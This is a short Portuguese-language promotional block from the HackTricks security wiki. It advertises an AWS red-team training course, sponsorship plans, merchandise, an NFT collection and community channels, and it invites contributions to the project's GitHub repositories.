Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.